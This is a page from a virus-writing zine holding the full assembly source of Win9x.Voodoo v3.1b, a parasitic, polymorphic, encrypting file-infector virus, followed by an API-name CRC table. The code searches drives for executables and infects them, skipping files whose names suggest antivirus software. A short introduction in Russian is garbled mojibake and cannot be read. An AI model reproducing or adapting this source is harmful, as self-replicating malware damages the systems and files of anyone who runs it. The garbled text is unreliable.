- [Duke's Virus Labs #10] - [Page 17] -

Win9x.Voodoo v3.1b
(c) by Voodoo/SMF


   ।     win32.voodoo v3.1 .
  ⠫ . ࠢ, 諮 ⢮ 㫮 win32
 ⢮ win9X.  ᫮   ஢騪
  ⮤ ࠦ.  饬,  ⫠稪  NT  ࠡ⠥ ⠪ 
  㬠,  ᪠ ⠪, ᪠ dr.Watson.   ॣ஢ 
,   (஢騪) ࠡ⠫,   ⠥ ஢.
 ⬥,     ᯮ짮   - ⫠. 
 ⫠稪  㤥 ਯ⮢,   ⫠稪  㤥  
ࠡ (⮫쪮  NT).
   権   ( ࠩ  ﭢ ;) ).

* ᥪ - ꥪ PE 䠩  ਡ⠬ EXEC+READ+write

:
   ᫥ ⮣  ᤥ EXE   ய ᯮ ண setwrite.exe,
⠢ ਡ WRITE   ᥪ. ᫥ ⮣  ⮢  㯮ॡ ;)


===== begin win32inf.asm =====
; ============================ Win9x.Voodoo_v3.1b ===========================
; Program       : Voodoo v3.1b
; Description   : Parasitic, poly crypt PE virus
; Last modified : 21.04.2000
; Target OS     : Win95/98
; Notes         :
ImBase equ 00400000h
Entyp  equ 00001000h
ADDC   equ ImBase+Entyp+5
DiskCount EqU 5
FileCount EqU 5
SYSTEM32CRC EQU 04C6D9398h
.386p
.model flat
VirSize EQU offset Voodoo_Ver_3_0Ep - offset Voodoo_Ver_3_1p
EQSIZE2CRYPT        EQU VirSize
MemSize             Equ 2300h
MemSize2DINA        EQU 1000h
extrn   ExitProcess:PROC
include win32con.inc ; ᠭ consts
include register.inc
include macro.inc
;---------------------------
.DATA
dd VirSize
db 0
flag dd 12345678h
CheckSum        EQU 0B0966F54h
CheckSum2       EQU 05E5F512Fh
_GlobalUnlock       EQU  0
_GlobalFree         EQU _GlobalUnlock+4
_CreateFileA        EQU _GlobalFree+4
_CreateFileMappingA EQU _CreateFileA+4
_MapViewOfFile      EQU _CreateFileMappingA+4
_UnmapViewOfFile    EQU _MapViewOfFile+4
_FlushViewOfFile    EQU _UnmapViewOfFile+4
_CloseHandle        EQU _FlushViewOfFile+4
_FindFirstFileA     EQU _CloseHandle+4
_FindNextFileA      EQU _FindFirstFileA+4
_SetFileAttributesA EQU _FindNextFileA+4
_SetFileTime        EQU _SetFileAttributesA+4
_GetFileSize        EQU _SetFileTime+4
_GetCommandLineA    EQU _GetFileSize+4
_ReadFile           EQU _GetCommandLineA+4
_lstrcpyA           EQU _ReadFile+4
_SetFilePointer     EQU _lstrcpyA+4
_GetCurrentDirectory EQU _SetFilePointer+4
_SetCurrentDirectory EQU _GetCurrentDirectory+4
_GetSystemTime      EQU _SetCurrentDirectory+4
OldEBP              EQU _GetSystemTime+4
FileSize            EQU OldEBP+4
lpVirSizePolyOld    EQU  FileSize+4
lpVirSizePolyNew    EQU lpVirSizePolyOld+4
hMemBufferForDINA   EQU lpVirSizePolyNew+4
MemBufferForDINA    EQU hMemBufferForDINA+4
MemBufferForCrypt   EQU MemBufferForDINA+4
HhendleOfFile       EQU MemBufferForCrypt+4
HhendleOfMapFile    EQU HhendleOfFile+4
CurEDI              EQU HhendleOfMapFile+4
Pointer2MapFile     EQU CurEDI+4
tag                 EQU Pointer2MapFile+4
SearcHandle         EQU tag+2
SearcHandle2        EQU SearcHandle+4
systemtime          EQU SearcHandle2+4
CODEBUF             EQU systemtime +16
CommandLine         EQU CODEBUF+VirSize
CurDir              EQU CommandLine+800
CurDir2             EQU CurDir+800
Win32FindData       EQU CurDir2 +800
   CreationTime        EQU Win32FindData+4
   LastAccessTime      EQU CreationTime+4
   LastWriteTime       EQU LastAccessTime+4
   files               EQU LastWriteTime+32

NumberOfBytesRead   EQU MemSize-4
@Name_Pointers_RVA EQU offset Name_Pointers_RVA - offset EntryPoint_
@GetProcAddress    EQU offset GetProcAddress - offset EntryPoint_
@KernelHandle      EQU offset KernelHandle   - offset EntryPoint_
@_GlobalAlloc      EQU offset _GlobalAlloc  - offset EntryPoint_
@_GlobalLock       EQU offset _GlobalLock  - offset EntryPoint_
@lpVirSizePoly     EQU offset VirSizePoly   - offset EntryPoint_
@MemPointer        EQU offset MemPointer  - offset EntryPoint_
@NextCode          EQU offset NextCode  - offset EntryPoint_
@Dirmask           EQU offset Dirmask - offset EntryPoint_
@mask              EQU offset _mask - offset EntryPoint_
@disk              EQU offset disk - offset EntryPoint_
@EntryPointRVA     EQU offset EntryPointRVA - offset EntryPoint_
@ImportTable       EQU offset ImportTable - offset EntryPoint_
@EndImportTable    EQU offset EndImportTable - offset EntryPoint_
.CODE
Voodoo_Ver_3_1p:
;-------------------------------------------------------
   Call EntryPoint_
EntryPoint_:
;find MZ in memory
;----------------------
 call _ESI
_ESI: pop esi
      pop ecx
  call  ScanMZ
   ; in esi PE header
   add esi,80h
   add edi,dword ptr [esi]     ;Import RVA
   jmp_ @L1
;    ⮬ - ਯ.
offset2VirSizePoly EQU offset VirSizePoly-offset Voodoo_Ver_3_1p
VirSizePoly dd 12345678h
NotKERNEL32:
    MOV EBX,EBP
    add edi,00014h
@L1:
   cmp dword ptr [edi+0ch],000000h
   je NOtFound
   add ebx,dword ptr [edi+0ch] ;RVA NAme  of dll
   call CRCSum
   cmp eax,CheckSum
   jne NotKERNEL32
   push ebp
   pop esi
   add ESI,DWORD ptr [edi+10h] ;KERNEL32 proc
   mov esi,dword ptr [esi]
   cmp byte ptr [esi+5],0e9h   ; win98
   jne_ Ok_
   add esi,dword ptr [esi+6]
Ok_:call ScanMZ
   ;push EBP ;Hendle of KERNEL32.dll
   add esi,78h
   add edi,dword ptr [esi]     ; edi=Export Directory Table RVA
   mov eax,ebp
   add eax,dword ptr [edi+1ch]    ; Address Table
   push eax
   mov edx,ebp
   add edx,dword ptr [edi+24h]    ; Ordinal Table
   add ebx,dword ptr [edi+20h] ;ebx=Name Pointers RVA
   mov dword ptr [ecx+@Name_Pointers_RVA],ebx
   mov esi,ebx
   push ecx
   mov ecx,dword ptr [edi+18h] ; Num of Name Pointers
   push ecx
@L2:call ScanNameTable
    cmp eax,CheckSum2
    je_ FoundGetProcAdr
    inc esi
    inc esi
    inc esi
    inc esi
    loop @L2
FoundGetProcAdr:
    pop eax
    sub eax,ecx ; #function
    shl eax,1   ; x2
    ; Ordinal Table
    add edx,eax ;
    xor eax,eax
    mov ax,word ptr [edx] ;Ordinal of GetProcAddress
    shl eax,2   ;x4
    pop ecx  ;entry
    pop ebx  ; offset to Address Table
    add ebx,eax
    mov eax,dword ptr [ebx]
    add eax,ebp
    mov [@GetProcAddress+ecx],eax
    mov [@KernelHandle+ecx],ebp
    mov edx,zGlobalAlloc
    call  CalkProcAdress
    mov [@_GlobalAlloc+ecx],eax
    mov edx,zGlobalLock
    call  CalkProcAdress
    mov [@_GlobalLock+ecx],eax
    push ecx
    push MemSize
    push 0
    call dword ptr [@_GlobalAlloc+ecx]
    pop ecx
    push ecx
    push eax
    call dword ptr [@_GlobalLock+ecx]
    pop ecx
    mov [@MemPointer+ecx],eax
    mov eBX,eax
    mov edi,eax
    ;뤥塞   ਯ
    push ecx
    push MemSize2DINA
    push 0
    call dword ptr [@_GlobalAlloc+ecx]
    pop ecx
    mov [ebx+hMemBufferForDINA],eax
    push ecx
    push eax
    call dword ptr [@_GlobalLock+ecx]
    pop ecx
    mov [ebx+MemBufferForDINA],eax
;#############################################
    mov eax,[ecx+@lpVirSizePoly] ;
    mov [lpVirSizePolyOld+ebx],eax  ;
;#############################################
    mov esi,@ImportTable
    add esi,ecx
MakeImport:
    mov edx,dword ptr [esi]
    call CalkProcAdress
    cld
    stosd
    inc esi
    inc esi
    inc esi
    inc esi
    cmp word ptr [esi],6666h
    jne_ MakeImport
    mov ebp,ecx  ; entry ! 室   .
    ;--------------------
    call Infect
    ;--------------------
          mov esi,ebp
          sub esi,5
          mov edi,CODEBUF
          add edi,ebx     ;MemPointer
          cld
;################################################
;७ᥬ ⮫쪮  
          mov ecx,VirSize
;################################################
          rep movsb
NOtFound:
          cmp  [flag],12345678h
          jne_ Ret2Prog
          push 0
          call ExitProcess
Ret2Prog:   mov [OldEBP+ebx],ebp
            mov esi,ebx
            mov ebp,esi
            add esi,@NextCode+CODEBUF+5
            add ebp,CODEBUF+5
            jmp esi
; ᥫ塞  뤥 
NextCode:
          call    GetCommandLineA
          mov esi,eax
          cmp byte ptr [esi+1],':' ;for win9x
          je_ NormalCommandLine
          inc eax
NormalCommandLine:
        push    eax
        mov eax,CommandLine
        add eax,ebx
        push eax
        call    lstrcpyA
        mov esi,CommandLine
        add esi,ebx
        push esi
@L3:     inc esi
         cmp byte ptr [esi],'.'
         jne_ @L3
         pop eax
         push NULL
         push FILE_ATTRIBUTE_ARCHIVE
         push OPEN_EXISTING
         push NULL
         push FILE_SHARE_READ ;or FILE_SHARE_WRITE
         push GENERIC_READ ;or GENERIC_WRITE
         push eax
         call CreateFileA
         mov [HhendleOfFile+ebx],eax
         push eax
         push NULL
         push eax
         call GetFileSize
         mov edx,eax
;################################################
         sub edx,dword ptr [lpVirSizePolyOld+ebx]
         dec edx ; -1 
;################################################
          pop eax
          push eax
          push 0
          push NULL
          push edx
          push eax
          call SetFilePointer
          pop eax
           mov edx,[ebx+OldEBP]
           sub edx,5
           sub edx,dword ptr [lpVirSizePolyOld+Ebx] ; -(VirSizePolyOld-VirSize)
           add edx,VirSize                          ;
           push edx
           push NULL
           mov ecx,NumberOfBytesRead
           add ecx,ebx
           push ecx
;################################################
           push dword ptr [lpVirSizePolyOld+Ebx]
           inc  dword ptr ss:[esp] ; +1 
;################################################
           push edx
           push eax
           call ReadFile
           pop esi
           call _EDI
EntryPointRVA: dd 0
_EDI:          pop edi
               add esi,dword ptr [edi]
               jmp esi
; ⤠ ࠢ ⢥
;----------------------------------------------------------
PushWin32FindData:
        mov edx,Win32FindData
        add edx,ebx
        ret
InfectDir:
        mov eax,CurDir2
        add eax,ebx
        push eax        ;
        push  800
        call GetCurrentDirectory
        call Infect_All_files
        call PushWin32FindData
        push edx
        mov eax,ebp
        add eax,@Dirmask
        push eax
        call  FindFirstFileA
        inc eax
        jz ExitFromProcInfectDir
        dec eax
        mov  dword ptr [SearcHandle+ebx],eax
 l2:    call PushWin32FindData
        push edx
        push    dword ptr [SearcHandle+ebx]
        call    FindNextFileA
        or eax,eax
        je_ ExitFromProcInfectDir
        cmp byte ptr [files+ebx],'.'
        je_  l2
        mov eax,[Win32FindData+ebx]
        and eax,FILE_ATTRIBUTE_DIRECTORY
        je_ l2
        ;set new dir
        mov edx,CurDir2
        add edx,ebx
        push edx
        call SetCurrentDirectory
        mov edx,files
        add edx,ebx
        ; SYSTEM32 ?
        push ebx
        mov ebx,edx
        call  CRCSum
        pop ebx
        cmp eax,SYSTEM32CRC
        je_  l2 ;DoNotInfect
        push edx
        call SetCurrentDirectory
        call Infect_All_files
        jmp l2
ExitFromProcInfectDir:
        ret
;----------------------------------------------------------
Infect_All_files:
        call PushWin32FindData
        push edx
        mov edx,@mask
        add edx,ebp
        push edx
        xor ecx,ecx
        call    FindFirstFileA
        mov  dword ptr [SearcHandle2+ebx],eax
        cmp     eax,-1
        je_     l2__
Next:    or eax,eax
         je_  l2__
        cmp ecx,FileCount
        jnl_  l2__
        inc  ecx
        push ecx
        call InfectFile
        call PushWin32FindData
        push edx
        push    dword ptr [SearcHandle2+ebx]
        call    FindNextFileA
        pop ecx
        cmp di,9999h
        jne_ Noerrror
        dec ecx
        xor edi,edi
Noerrror:
        jmp    Next
l2__:    ret
;-----------------------------------------------------------
Infect:
        mov eax,CurDir
        add eax,ebx
        push eax        ;
        push  800
        call GetCurrentDirectory
        call InfectDir
        mov ecx,DiskCount
Scan:   push ecx
        mov eax,@disk
        add eax,ebp
        push eax
        call SetCurrentDirectory
        call InfectDir
        inc byte ptr [@disk+ebp]
        pop ecx
        loop Scan
        mov eax,CurDir
        add eax,ebx
        push eax        ;
        call SetCurrentDirectory
        ret
;----------------------------------------------------------
InfectFile:
         ; ஢ઠ  ⨢
         mov eax,ebx
         add eax,files
         cmp word ptr [eax],'-F'   ;F-port
         je  @AV
         cmp word ptr [eax],'WA'   ; AW ?
         je  @AV
         cmp word ptr [eax],'VA'   ; AV?????
         je  @AV
         cmp word ptr [eax+1],'VA' ;NAV,PAV,RAV,_AVP???
         je  @AV
         cmp word ptr [eax+3],'BE' ;drWeb
         je  @AV
         cmp word ptr [eax+2],'DN' ;PANDA
         je  @AV
         cmp dword ptr [eax],'ITNA';ANTI???
         je  @AV
         cmp dword ptr [eax],'FASV';VSAF???
         je  @AV
         cmp dword ptr [eax],'PWSV';VSWP???
         je  @AV
         cmp dword ptr [eax],'VASF';FSAV???
         je  @AV
         push eax
         push 00000020h
         push eax
         call SetFileAttributesA
         pop eax
         push NULL
         push FILE_ATTRIBUTE_ARCHIVE
         push OPEN_EXISTING
         push NULL
         push  FILE_SHARE_READ or FILE_SHARE_WRITE
         push GENERIC_READ or GENERIC_WRITE
         push eax
         call CreateFileA ; ஥ 䠩
         cmp eax,-1
         je Error__
         call LoadMemPointer
         mov [HhendleOfFile+ebx],eax
         push ebx
         push NULL
         push eax
         call GetFileSize
         pop ebx
         mov [FileSize+ebx],eax ;   ࠧ
Point@ret:push edx
         push eax ; to MApViewofFile
         push NULL
         push eax
         push NULL
         push PAGE_READWRITE
         push NULL
         push dword ptr [HhendleOfFile+ebx]
         call CreateFileMappingA
         mov [HhendleOfMapFile+ebx],eax
         ; v steke Size
         push 0
         push 0
         push FILE_MAP_WRITE
         push eax
         call MapViewOfFile  ;  
         mov [Pointer2MapFile+ebx],eax
         pop edx
         cmp word ptr [tag+ebx],6666h ; ୮ ஢
         je  OkOb
         mov esi,eax
         CMP byte ptr [esi+18h],40h
         jl OOO
         cmp dword ptr [esi+3ch],00010000h
         jg OOO
         mov edi,dword ptr [esi+3ch]
         cmp dword ptr [esi+edi],00004550h ;PE Only !
         jne  OOO
         cmp dword ptr [esi+6fh],334e4957h ;'WIN3'  Infected ?
         je  OOO
         ;find CODE object
         mov [systemtime+ebx],esi
         add esi,edi
         mov eax,dword ptr [esi+80h] ;Import Table RVA
         push eax
         xor ecx,ecx
         mov cx,word ptr [esi+6h] ;Num of Object
         MOV EDX,DWORD ptr [esi+28h] ; Entry point RVA
         mov dword ptr [ebp+@EntryPointRVA],edx
         mov edx,esi
         mov eax,24
         add ax,word ptr [esi+14h]
         mov edi,esi
         add edi,eax ;edi=Object Table
         pop eax ;Import Table RVA
         pusha
         mov edx,eax
Find_Import_Table:
         dec ecx
         mov eax,dword ptr [edi+0ch] ; Object RVA
         cmp edx,eax
         jnl_ Mabe
IncEDI:  add edi,28h
         or ecx,ecx
         je_ Not_Find
         jmp Find_Import_Table
Mabe:    add eax,dword ptr [edi+10h] ; SIZE
         CMP EDX,EAX   ; Object RVA =< Import Table RVA =< Object RVA + Phisikal Size
         jle_ L22
         jmp_ IncEDI
         L22:
         mov esi,[Pointer2MapFile+ebx]
         push edx
         sub edx,dword ptr [edi+0ch]
         add esi,edx
         mov eax,dword ptr [edi+14h]   ;Phis  offset
         add esi,eax
         pop edx                       ; ESI = Phis offset Import Table
         mov ecx,dword ptr [edi+0ch]   ; Object RVA
ECTLI_KERNEL:
         mov edi,dword ptr [esi+0ch]   ; EDI=Name RVA
         cmp edi,NULL ;
         je_ KERNEL_HET
         sub edi,ecx
         add edi,eax                   ; EAX= Phis offset
         add edi,[Pointer2MapFile+ebx]
         cmp dword ptr [edi],'NREK';KERNEL
         je_ KERNEL_ECT
         add esi,14h
         jmp ECTLI_KERNEL
KERNEL_HET:                     ; ࠭! ୥ .
Not_Find:   popa
            jmp Code_Not_Find
KERNEL_ECT: popa
_loop:   db 08Bh,47h,24h ;mov eax,dword [edi+024h]
         EXEC_FLAG EQU 20000020h
         and eax,EXEC_FLAG
         jne_ Code_Object
         add edi,2ch
         loop _loop
         jmp Code_Not_Find
Code_Object:
         ;chek object size
;###########################################################
          ;--------
          ;㥬 ਯ
          pusha
          push ebx
          push EQSIZE2CRYPT+1   ;   㦭 ਯ⮢+1
          push DWORD PTR [ebx+MemBufferForDINA]
          call DINA
          pop  ebx
          mov [EBX+lpVirSizePolyNew],eax
          add dword ptr [EBX+lpVirSizePolyNew],VirSize
          popa
          ;--------
          ; ᥪ樨    襣 
          mov eax,dword ptr [EBX+lpVirSizePolyNew]
          cmp dword ptr [edi+10h],eax
          jl_ Code_Not_Find
;###########################################################
          push esi
          mov esi,dword ptr [systemtime+ebx]
          mov dword ptr [esi+6fh],334e4957h
          pop esi
          ; make writeble
          or dword ptr [edi+24h],80000000h
          mov eax,dword ptr [edi+0ch]            ;object RVA
          sub dword ptr [ebp+@EntryPointRVA],eax
          mov dword ptr [edx+28h],eax            ; Set New Entry Point RVA
          ; save old Programm
          call CloseMapping
          mov word ptr [ebx+tag],06666h
          mov eax,dword ptr [ebx+FileSize]
          push eax
;###########################################################
          add eax,dword ptr [EBX+lpVirSizePolyNew]
          inc eax  ; ᤥ   1 
;###########################################################
          jmp Point@ret
  OkOb:   mov word ptr [ebx+tag],09999h
          mov esi,dword ptr [edi+14h] ;phisical offset
          add esi,dword ptr [ebx+Pointer2MapFile]
          ;add esi,edx
          pop edi
          add edi,dword ptr [ebx+Pointer2MapFile]  ; edi=EOF
                                                   ; esi=  ᫥ ࠭
;###########################################################
          mov ecx,dword ptr [EBX+lpVirSizePolyNew]
          inc ecx ; ⥬ 1 
;###########################################################
          push esi   ;offset of program CODE
                     ; ࠭塞 室  ணࠬ
          cld        ;   
          rep movsb  ;
;---------------------------------------------------------------------
;  ॡ ஢,  १.
        ; ⮣ 뤥塞   >=VirSizePolyNew
        push dword ptr [EBX+lpVirSizePolyNew]
        push 0
        call dword ptr cs:[@_GlobalAlloc+ebp]
        push eax  ; ࠭  直 ...
        push eax
        call dword ptr cs:[@_GlobalLock+ebp]
        mov [ebx+MemBufferForCrypt],eax
        mov edi,eax
        xor eax,eax
        pusha
        call HAidEMKOHEc
SetWhileNotExeption:             ; 饬  室  襣
        mov [ebx+CurEDI],edi
        cld                      ; .     ந
        stosb                    ; ᪫祭.
        jmp_ SetWhileNotExeption  ;
;---------------------------------------------------------------------
@HAidEMKOHEc:
         add dword ptr ss:[esp],offset HAidEMKOHEc-offset SetWhileNotExeption+2
         push dword ptr fs:[0]
         mov dword ptr fs:[0],esp
         jmp_ SetWhileNotExeption
HAidEMKOHEc: JMP_ @HAidEMKOHEc
         mov  esp,[esp+8]
         pop eax ; ⪠ ⥪
         pop eax ;
         popa
         mov edi,[ebx+CurEDI]
         sub edi,VirSize
         ;
          push edi
          mov esi,ebp       ; 襬 ਯ㥬 
          sub esi,5         ;  ᠬ  RW .
          mov ecx,VirSize   ;
          cld               ;
          rep movsb         ;
          pop edi
          mov ecx,dword ptr [EBX+lpVirSizePolyNew] ; 襬 ਯ⮢騪
          mov [edi+offset2VirSizePoly],ecx         ; ࠭  ⥫ ⮬
          sub ecx,VirSize                          ;  ࠧ.
          sub edi,ecx                              ;
          mov esi,DWORD PTR [ebx+MemBufferForDINA] ;
          push edi
          cld                                      ;
          rep movsb                                ;
          pop edi
          pusha
          call  $+5
Lb2:      add dword ptr ss:[esp],offset Lb1-offset Lb2
          push dword ptr fs:[0]
          mov dword ptr fs:[0],esp
          jmp edi

Lb1:      nop
          nop
          mov  esp,[esp+8]
          pop eax ; ⪠ ⥪
          pop eax ;
          popa
          pop eax
          pop esi
          push eax
          xchg esi,edi                    ;
          mov ecx,[EBX+lpVirSizePolyNew]  ; esi=offset of CryptCode
          cld                             ;
          rep movsb                       ;
          call GlobalUnlock
          ;-----------
Code_Not_Find:
OOO2:    call CloseMapping
Error__2: call PushWin32FindData
         push dword ptr [edx]
         mov eax,ebx
         add eax,files
         push eax
         call SetFileAttributesA
@AV:     ret
OOO:      mov di,9999h
          jmp_  OOO2
Error__:  mov di,9999h
          jmp_ Error__2
;--------------------------------------------------------
CalkProcAdress:  push ecx
                 push esi
                 push edi
    mov esi,@Name_Pointers_RVA
    add esi,ecx
    mov esi,dword ptr [esi]
fCRC: call ScanNameTable
    cmp  eax,edx
    je_  foCRC
    inc esi
    inc esi
    inc esi
    inc esi
    jmp_ fCRC
foCRC:
  mov eax,dword ptr [esi]
  add eax,ebp
  push eax
  mov eax,@KernelHandle
  add eax,ecx
  push dword ptr [eax]
  call dword ptr [@GetProcAddress+ecx]
   pop edi
   pop esi
   pop ecx
   ret
;--------------------------------------------------------
ScanNameTable:
    PUSH EBX
    push ecx
    mov ebx,ebp
    add ebx,dword ptr [esi]
    call CRCSum
    pop ecx
    POP EBX
    ret
;--------------------------------------------------------
ScanMZ:
   push ecx   ;  \/
   and si,1111000000000000b
ScanMZ_:
   sub esi,1000h
   cmp word ptr [esi],'ZM'
   jne_ ScanMZ_
   mov edi,esi
   mov ebx,esi
   MOV EBP,ESI
   push esi
   cmp dword ptr [esi+3ch],00010000h
   jg_  NextMZ
   add esi,dword ptr [esi+3ch]
   cmp dword ptr [esi],004550h
NextMZ:pop esi
   jne_ ScanMZ_
   add esi,dword ptr [esi+3ch]
   pop ecx
   ret
;---Local ----------
CloseMapping:
         push edx
         push dword ptr [Pointer2MapFile+ebx]
         call UnmapViewOfFile
         push dword ptr  [HhendleOfMapFile+ebx]
         call CloseHandle
         pop edx
         ret
;--------------------------------------------------------
LoadMemPointer:
mov ebx,dword ptr ds:[ebp+@MemPointer]
ret
;----Import---------
GlobalUnlock:call LoadMemPointer
             jmp dword ptr ds:[ebx+_GlobalUnlock]

GlobalFree:  call LoadMemPointer
             jmp dword ptr ds:[ebx+_GlobalFree]

GetFileSize: call LoadMemPointer
             jmp dword ptr ds:[ebx+_GetFileSize]
CreateFileA: call LoadMemPointer
             jmp dword ptr ds:[ebx+_CreateFileA]
CreateFileMappingA:
             call LoadMemPointer
             jmp dword ptr ds:[ebx+_CreateFileMappingA]
MapViewOfFile:
             call LoadMemPointer
             jmp dword ptr ds:[ebx+_MapViewOfFile]
UnmapViewOfFile:
           call LoadMemPointer
           jmp dword ptr ds:[ebx+_UnmapViewOfFile]
FlushViewOfFile:
           call LoadMemPointer
           jmp dword ptr ds:[ebx+_FlushViewOfFile]
CloseHandle: call LoadMemPointer
             jmp dword ptr ds:[ebx+_CloseHandle]
GetCommandLineA:
              call LoadMemPointer
               jmp dword ptr ds:[ebx+_GetCommandLineA]
lstrcpyA:   call LoadMemPointer
            jmp dword ptr ds:[ebx+_lstrcpyA]
ReadFile:  call LoadMemPointer
           jmp dword ptr ds:[ebx+_ReadFile]
SetFilePointer: call LoadMemPointer
                jmp dword ptr ds:[ebx+_SetFilePointer]
FindFirstFileA: call LoadMemPointer
                jmp dword ptr ds:[ebx+_FindFirstFileA]
FindNextFileA: call LoadMemPointer
               jmp dword ptr ds:[ebx+_FindNextFileA]
GetCurrentDirectory:
			call LoadMemPointer
			jmp dword ptr ds:[ebx+_GetCurrentDirectory]
SetCurrentDirectory:
			call LoadMemPointer
			jmp dword ptr ds:[ebx+_SetCurrentDirectory]
SetFileAttributesA:
			call LoadMemPointer
			jmp dword ptr ds:[ebx+_SetFileAttributesA]
SetFileTime:
			call LoadMemPointer
			jmp dword ptr ds:[ebx+_SetFileTime]
GetSystemTime:
			call LoadMemPointer
			jmp dword ptr ds:[ebx+_GetSystemTime]
include dinav1.inc
include CRC32API.inc
db '(c) Voodoo/SMF v3.1b 10.03.2k'
;-------------------
GetProcAddress    dd  11223344h
KernelHandle      dd  11223344h
Name_Pointers_RVA dd  11223344h
_GlobalAlloc      dd  11223344h
_GlobalLock       dd  11223344h
MemPointer        dd  11223344h
disk              db  'c:\',0
Dirmask           DB  '*.*',0
_mask             DB  '*.EXE',0
ImportCount EQU (offset EndImportTable- offset ImportTable)/4
ImportTable:      dd  zGlobalUnlock
                  dd  zGlobalFree
                  dd  zCreateFileA
                  dd  zCreateFileMappingA
                  dd  zMapViewOfFile
                  dd  zUnmapViewOfFile
                  dd  zFlushViewOfFile
                  dd  zCloseHandle
                  dd  zFindFirstFileA
                  dd  zFindNextFileA
                  dd  zSetFileAttributesA
                  dd  zSetFileTime
                  dd  zGetFileSize
                  dd  zGetCommandLineA
                  dd  zReadFile
                  dd  zlstrcpyA
                  dd  zSetFilePointer
                  dd  zGetCurrentDirectoryA
                  dd  zSetCurrentDirectoryA
                  dd  zGetSystemTime
                  dw  6666h
EndImportTable:
Voodoo_Ver_3_0Ep:
Ends
End Voodoo_Ver_3_1p
===== end   win32inf.asm =====

===== begin crc32.inc =====
zKERNEL32dll					 EQU 0B0966F54h
zAddAtomA					 EQU 0D3F6EDBEh
zAddAtomW					 EQU 0E9F6EDBEh
zAddConsoleAliasA				 EQU 0032616F2h
zAddConsoleAliasW				 EQU 0192616F2h
zAllocConsole					 EQU 0A8AFAF7Eh
zAreFileApisANSI				 EQU 03C587766h
zBackupRead					 EQU 0CECDCDA8h
zBackupSeek					 EQU 0DAD2CEA9h
zBackupWrite					 EQU 05E5C491Fh
zBaseAttachCompleteThunk			 EQU 0050CFFC5h
zBeep     			   		 EQU 070656542h
zBeginUpdateResourceA				 EQU 0C9EFEFC8h
zBeginUpdateResourceW				 EQU 0DFEFEFC8h
zBuildCommDCBA					 EQU 06991C4C0h
zBuildCommDCBAndTimeoutsA			 EQU 0DB0304CBh
zBuildCommDCBAndTimeoutsW			 EQU 0F10304CBh
zBuildCommDCBW					 EQU 07F91C4C0h
zCallNamedPipeA					 EQU 0244F4B1Ah
zCallNamedPipeW					 EQU 03A4F4B1Ah
zCancelIo					 EQU 0EDED04DAh
zCancelWaitableTimer				 EQU 064605C2Ch
zClearCommBreak					 EQU 048424D27h
zClearCommError					 EQU 06D605D2Ah
zCloseConsoleHandle				 EQU 0FD0706E0h
zCloseHandle					 EQU 02731310Dh
zCloseProfileUserMapping			 EQU 01C2421F4h
zCmdBatNotification	 			 EQU 003F9F7CCh
zCommConfigDialogA				 EQU 059858D5Ch
zCommConfigDialogW				 EQU 06F858D5Ch
zCompareFileTime				 EQU 0BBC3C59Bh
zCompareStringA					 EQU 064909869h
zCompareStringW					 EQU 07A909869h
zConnectNamedPipe				 EQU 0222B29FFh
zConsoleMenuControl				 EQU 02F3130FCh
zContinueDebugEvent				 EQU 0140E0EE7h
zConvertDefaultLocale				 EQU 0DCE5E8C4h
zConvertThreadToFiber				 EQU 0CAC6D0ABh
zCopyFileA			    		 EQU 03C6B754Ah
zCopyFileExA					 EQU 0FA29201Bh
zCopyFileExW					 EQU 01029201Bh
zCopyFileW					 EQU 0526B754Ah
zCreateConsoleScreenBuffer			 EQU 0CFC2CFA4h
zCreateDirectoryA				 EQU 03559521Eh
zCreateDirectoryExA				 EQU 0F3171109h
zCreateDirectoryExW				 EQU 009171109h
zCreateDirectoryW				 EQU 04B59521Eh
zCreateEventA				         EQU 080A4A274h
zCreateEventW					 EQU 096A4A274h
zCreateFiber					 EQU 025182503h
zCreateFileA					 EQU 0FE222F03h
zCreateFileMappingA				 EQU 0CCF0FBCBh
zCreateFileMappingW				 EQU 0E2F0FBCBh
zCreateFileW					 EQU 014222F03h
zCreateIoCompletionPort				 EQU 0B8A9A976h
zCreateMailslotA				 EQU 0C4E8E6B6h
zCreateMailslotW				 EQU 0DAE8E6B6h
zCreateMutexA					 EQU 091B5AF8Ah
zCreateMutexW					 EQU 0A7B5AF8Ah
zCreateNamedPipeA				 EQU 0F31723F2h
zCreateNamedPipeW				 EQU 0091723F2h
zCreatePipe					 EQU 0CACACCA4h
zCreateProcessA					 EQU 05E82814Dh
zCreateProcessW					 EQU 07482814Dh
zCreateRemoteThread				 EQU 0040515EEh
zCreateSemaphoreA				 EQU 024485521h
zCreateSemaphoreW				 EQU 03A485521h
zCreateTapePartition				 EQU 0847B7E52h
zCreateThread					 EQU 09596A782h
zCreateVirtualBuffer				 EQU 081748158h
zCreateWaitableTimerA				 EQU 0ABCFCFA7h
zCreateWaitableTimerW				 EQU 0C1CFCFA7h
zDebugActiveProcess				 EQU 01D0BFDD7h
zDebugBreak					 EQU 0C3BABE9Bh
zDefineDosDeviceA				 EQU 0F81D1CF9h
zDefineDosDeviceW				 EQU 00E1D1CF9h
zDeleteAtom				 	 EQU 0D1D0C694h
zDeleteCriticalSection				 EQU 04543390Dh
zNTDLLRtlDeleteCriticalSection			 EQU 0552B0FEBh
zDeleteFiber					 EQU 029232302h
zDeleteFileA					 EQU 0022D2D02h
zDeleteFileW					 EQU 0182D2D02h
zDeviceIoControl				 EQU 0CED8CE9Ch
zDisableThreadLibraryCalls			 EQU 0B8B8B585h
zDisconnectNamedPipe				 EQU 063716A3Fh
zDosDateTimeToFileTime				 EQU 0E5F3F5CAh
zDuplicateConsoleHandle				 EQU 098A3AC85h
zDuplicateHandle				 EQU 0C2CDD6B2h
zEndUpdateResourceA				 EQU 0F2151DFAh
zEndUpdateResourceW				 EQU 008151DFAh
zEnterCriticalSection				 EQU 0DDE3E2B8h
zNTDLLRtlEnterCriticalSection			 EQU 0FFD5BA96h
zEnumCalendarInfoA				 EQU 0598D8C66h
zEnumCalendarInfoW				 EQU 06F8D8C66h
zEnumDateFormatsA				 EQU 00D413C08h
zEnumDateFormatsW				 EQU 023413C08h
zEnumResourceLanguagesA				 EQU 094C8C39Ch
zEnumResourceLanguagesW				 EQU 0AAC8C39Ch
zEnumResourceNamesA				 EQU 0F0241EF9h
zEnumResourceNamesW				 EQU 006241EF9h
zEnumResourceTypesA				 EQU 01145401Ah
zEnumResourceTypesW				 EQU 02745401Ah
zEnumSystemCodePagesA				 EQU 0A4D8D3ADh
zEnumSystemCodePagesW				 EQU 0BAD8D3ADh
zEnumSystemLocalesA				 EQU 0FC302B05h
zEnumSystemLocalesW				 EQU 012302B05h
zEnumTimeFormatsA				 EQU 01E524D19h
